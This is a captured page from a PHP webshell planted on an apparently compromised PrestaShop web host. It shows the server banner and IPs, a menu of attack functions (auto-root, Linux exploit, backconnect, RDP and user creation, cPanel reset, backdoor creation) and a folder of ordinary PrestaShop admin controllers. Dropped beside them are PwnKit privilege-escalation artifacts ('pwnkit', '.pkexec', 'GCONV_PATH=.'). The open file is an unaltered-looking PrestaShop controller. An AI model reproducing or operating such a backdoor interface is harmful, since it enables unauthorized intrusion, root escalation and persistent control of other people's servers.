Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 3.12.76.151
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
addify5 /
.trash /
controllers /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AdminAccessController.php
7.76
KB
-rw-r--r--
AdminAttributesGroupsControlle...
39.35
KB
-rw-r--r--
AdminCarrierWizardController.p...
40.85
KB
-rw-r--r--
AdminCarriersController.php
30.75
KB
-rw-r--r--
AdminCartRulesController.php
43.34
KB
-rw-r--r--
AdminCartsController.php
44.81
KB
-rw-r--r--
AdminCountriesController.php
21.16
KB
-rw-r--r--
AdminCustomerThreadsController...
53.73
KB
-rw-r--r--
AdminDashboardController.php
20.33
KB
-rw-r--r--
AdminFeaturesController.php
24.34
KB
-rw-r--r--
AdminGendersController.php
8.7
KB
-rw-r--r--
AdminGroupsController.php
28.22
KB
-rw-r--r--
AdminImagesController.php
51.18
KB
-rw-r--r--
AdminImportController.php
236.61
KB
-rw-r--r--
AdminLegacyLayoutController.ph...
7.76
KB
-rw-r--r--
AdminLoginController.php
22.15
KB
-rw-r--r--
AdminModulesController.php
60.9
KB
-rw-r--r--
AdminModulesPositionsControlle...
26.33
KB
-rw-r--r--
AdminNotFoundController.php
1.68
KB
-rw-r--r--
AdminPdfController.php
9.03
KB
-rw-r--r--
AdminProductsController.php
161.88
KB
-rw-r--r--
AdminQuickAccessesController.p...
9.03
KB
-rw-r--r--
AdminRequestSqlController.php
21.4
KB
-rw-r--r--
AdminReturnController.php
15.09
KB
-rw-r--r--
AdminSearchConfController.php
23.51
KB
-rw-r--r--
AdminSearchController.php
25.14
KB
-rw-r--r--
AdminShopController.php
37.33
KB
-rw-r--r--
AdminShopGroupController.php
15.79
KB
-rw-r--r--
AdminShopUrlController.php
24.51
KB
-rw-r--r--
AdminSpecificPriceRuleControll...
16.26
KB
-rw-r--r--
AdminStatesController.php
12.69
KB
-rw-r--r--
AdminStatsController.php
42.92
KB
-rw-r--r--
AdminStatsTabController.php
11.64
KB
-rw-r--r--
AdminStatusesController.php
30.24
KB
-rw-r--r--
AdminStoresController.php
25.71
KB
-rw-r--r--
AdminSuppliersController.php
24.21
KB
-rw-r--r--
AdminTabsController.php
14.9
KB
-rw-r--r--
AdminTagsController.php
5.66
KB
-rw-r--r--
AdminTaxRulesGroupController.p...
22
KB
-rw-r--r--
AdminTranslationsController.ph...
148.26
KB
-rw-r--r--
BoOrder.php
1.34
KB
-rw-r--r--
DummyAdminController.php
2.35
KB
-rw-r--r--
index.php
1.34
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AdminPdfController.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ class AdminPdfControllerCore extends AdminController { public function postProcess() { parent::postProcess(); // We want to be sure that displaying PDF is the last thing this controller will do exit; } public function initProcess() { parent::initProcess(); $this->checkCacheFolder(); $access = Profile::getProfileAccess($this->context->employee->id_profile, (int) Tab::getIdFromClassName('AdminOrders')); if ($access['view'] === '1' && ($action = Tools::getValue('submitAction'))) { $this->action = $action; } else { $this->errors[] = $this->trans('You do not have permission to view this.', [], 'Admin.Notifications.Error'); } } public function checkCacheFolder() { if (!is_dir(_PS_CACHE_DIR_ . 'tcpdf/')) { mkdir(_PS_CACHE_DIR_ . 'tcpdf/'); } } public function processGenerateInvoicePdf() { if (Tools::isSubmit('id_order')) { $this->generateInvoicePDFByIdOrder(Tools::getValue('id_order')); } elseif (Tools::isSubmit('id_order_invoice')) { $this->generateInvoicePDFByIdOrderInvoice(Tools::getValue('id_order_invoice')); } else { die($this->trans('The order ID -- or the invoice order ID -- is missing.', [], 'Admin.Orderscustomers.Notification')); } } public function processGenerateOrderSlipPDF() { $order_slip = new OrderSlip((int) Tools::getValue('id_order_slip')); $order = new Order((int) $order_slip->id_order); if (!Validate::isLoadedObject($order)) { die($this->trans('The order cannot be found within your database.', [], 'Admin.Orderscustomers.Notification')); } $this->generatePDF($order_slip, PDF::TEMPLATE_ORDER_SLIP); } public function processGenerateDeliverySlipPDF() { if (Tools::isSubmit('id_order')) { $this->generateDeliverySlipPDFByIdOrder((int) Tools::getValue('id_order')); } elseif (Tools::isSubmit('id_order_invoice')) { $this->generateDeliverySlipPDFByIdOrderInvoice((int) Tools::getValue('id_order_invoice')); } elseif (Tools::isSubmit('id_delivery')) { $order = Order::getByDelivery((int) Tools::getValue('id_delivery')); $this->generateDeliverySlipPDFByIdOrder((int) $order->id); } else { die($this->trans('The order ID -- or the invoice order ID -- is missing.', [], 'Admin.Orderscustomers.Notification')); } } public function processGenerateInvoicesPDF() { $order_invoice_collection = OrderInvoice::getByDateInterval(Tools::getValue('date_from'), Tools::getValue('date_to')); if (!count($order_invoice_collection)) { die($this->trans('No invoice was found.', [], 'Admin.Orderscustomers.Notification')); } $this->generatePDF($order_invoice_collection, PDF::TEMPLATE_INVOICE); } public function processGenerateInvoicesPDF2() { $order_invoice_collection = []; foreach (explode('-', Tools::getValue('id_order_state')) as $id_order_state) { if (is_array($order_invoices = OrderInvoice::getByStatus((int) $id_order_state))) { $order_invoice_collection = array_merge($order_invoices, $order_invoice_collection); } } if (!count($order_invoice_collection)) { die($this->trans('No invoice was found.', [], 'Admin.Orderscustomers.Notification')); } $this->generatePDF($order_invoice_collection, PDF::TEMPLATE_INVOICE); } public function processGenerateOrderSlipsPDF() { $id_order_slips_list = OrderSlip::getSlipsIdByDate(Tools::getValue('date_from'), Tools::getValue('date_to')); if (!count($id_order_slips_list)) { die($this->trans('No order slips were found.', [], 'Admin.Orderscustomers.Notification')); } $order_slips = []; foreach ($id_order_slips_list as $id_order_slips) { $order_slips[] = new OrderSlip((int) $id_order_slips); } $this->generatePDF($order_slips, PDF::TEMPLATE_ORDER_SLIP); } public function processGenerateDeliverySlipsPDF() { $order_invoice_collection = OrderInvoice::getByDeliveryDateInterval(Tools::getValue('date_from'), Tools::getValue('date_to')); if (!count($order_invoice_collection)) { die($this->trans('No invoice was found.', [], 'Admin.Orderscustomers.Notification')); } $this->generatePDF($order_invoice_collection, PDF::TEMPLATE_DELIVERY_SLIP); } public function processGenerateSupplyOrderFormPDF() { if (!Tools::isSubmit('id_supply_order')) { die($this->trans('The supply order ID is missing.', [], 'Admin.Orderscustomers.Notification')); } $id_supply_order = (int) Tools::getValue('id_supply_order'); $supply_order = new SupplyOrder($id_supply_order); if (!Validate::isLoadedObject($supply_order)) { die($this->trans('The supply order cannot be found within your database.', [], 'Admin.Orderscustomers.Notification')); } $this->generatePDF($supply_order, PDF::TEMPLATE_SUPPLY_ORDER_FORM); } /** * @deprecated Since 8.1.0, use the route `admin_orders_generate_delivery_slip_pdf` instead. * * @param int $id_order * * @return void */ public function generateDeliverySlipPDFByIdOrder($id_order) { @trigger_error( sprintf( '%s is deprecated since version 8.1.0. Use the route %s instead.', __METHOD__, 'admin_orders_generate_delivery_slip_pdf' ), E_USER_DEPRECATED ); $order = new Order((int) $id_order); if (!Validate::isLoadedObject($order)) { throw new PrestaShopException('Can\'t load Order object'); } $order_invoice_collection = $order->getInvoicesCollection(); $this->generatePDF($order_invoice_collection, PDF::TEMPLATE_DELIVERY_SLIP); } public function generateDeliverySlipPDFByIdOrderInvoice($id_order_invoice) { $order_invoice = new OrderInvoice((int) $id_order_invoice); if (!Validate::isLoadedObject($order_invoice)) { throw new PrestaShopException('Can\'t load Order Invoice object'); } $this->generatePDF($order_invoice, PDF::TEMPLATE_DELIVERY_SLIP); } /** * @deprecated Since 8.1.0, use the route `admin_orders_generate_invoice_pdf` instead. * * @param int $id_order * * @return void */ public function generateInvoicePDFByIdOrder($id_order) { @trigger_error( sprintf( '%s is deprecated since version 8.1.0. Use the route %s instead.', __METHOD__, 'admin_orders_generate_invoice_pdf' ), E_USER_DEPRECATED ); $order = new Order((int) $id_order); if (!Validate::isLoadedObject($order)) { die($this->trans('The order cannot be found within your database.', [], 'Admin.Orderscustomers.Notification')); } $order_invoice_list = $order->getInvoicesCollection(); Hook::exec('actionPDFInvoiceRender', ['order_invoice_list' => $order_invoice_list]); $this->generatePDF($order_invoice_list, PDF::TEMPLATE_INVOICE); } public function generateInvoicePDFByIdOrderInvoice($id_order_invoice) { $order_invoice = new OrderInvoice((int) $id_order_invoice); if (!Validate::isLoadedObject($order_invoice)) { die($this->trans('The order invoice cannot be found within your database.', [], 'Admin.Orderscustomers.Notification')); } Hook::exec('actionPDFInvoiceRender', ['order_invoice_list' => [$order_invoice]]); $this->generatePDF($order_invoice, PDF::TEMPLATE_INVOICE); } public function generatePDF($object, $template) { $pdf = new PDF($object, $template, Context::getContext()->smarty); $pdf->render(); } }
Close